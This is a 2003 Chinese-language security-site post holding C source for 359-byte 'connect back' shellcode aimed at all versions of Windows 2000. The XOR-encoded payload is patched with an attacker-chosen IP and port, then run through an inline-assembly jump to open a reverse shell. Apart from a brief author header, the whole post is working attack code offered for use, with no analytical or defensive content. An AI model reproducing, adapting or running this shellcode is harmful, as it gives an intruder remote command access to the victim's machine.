359 bytes connect back shellcode for win2k all ver创建时间：2003-07-17 文章属性：原创 文章提交：eyas (ey4s_at_21cn.com) /*--------------------------------------------------------------- Author:ey4s Email :ey4s@21cn.com Date :2003-07-17 简单的说明请参见http://www.xfocus.net/articles/200307/572.html 没有将这些shellcode全弄到一块去，是为了尽量让shellcode短小，虽然 它还是很长。 ---------------------------------------------------------------*/ #include <winsock2.h> #include <windows.h> #pragma comment(lib,"ws2_32") //change it to any ip:port you want #define g_ip "x.x.x.x" #define g_port x //don't change the offset #define ip_offset 236 #define port_offset 231 //shellcode default connect back to 127.0.0.1:1981 unsigned char sc_connect_back_for_2k_all_ver[359]= "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4F\x01\x80\x34\x0A\x99\xE2\xFA" "\xEB\x05\xE8\xEB\xFF\xFF\xFF" "\x70\x6D\x99\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85" "\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A" "\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A" "\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC" "\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58" "\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12" "\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71" "\xE9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3" "\x9B\xC0\x71\xC4\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0\x10" "\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x61\x12" "\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98\x98" "\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9\x14\xCE" "\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x75\x5E\x9E\x9B\x99" "\x9E\x24\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE\x65" "\xC9\x66\xCE\x69\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66" "\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9E\x66\x66\x66\xDE\xFC" "\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC" "\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED" "\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB" "\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA" "\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC\xFA\xED\x99"; void main() { WSADATA wsa; unsigned short port; unsigned long ip; WSAStartup(MAKEWORD(2,2),&wsa); port = htons(g_port)^(u_short)0x9999; ip = inet_addr(g_ip)^0x99999999; memcpy(&sc_connect_back_for_2k_all_ver[port_offset], &port, 2); memcpy(&sc_connect_back_for_2k_all_ver[ip_offset], &ip, 4); __asm { lea eax,sc_connect_back_for_2k_all_ver jmp eax } } |
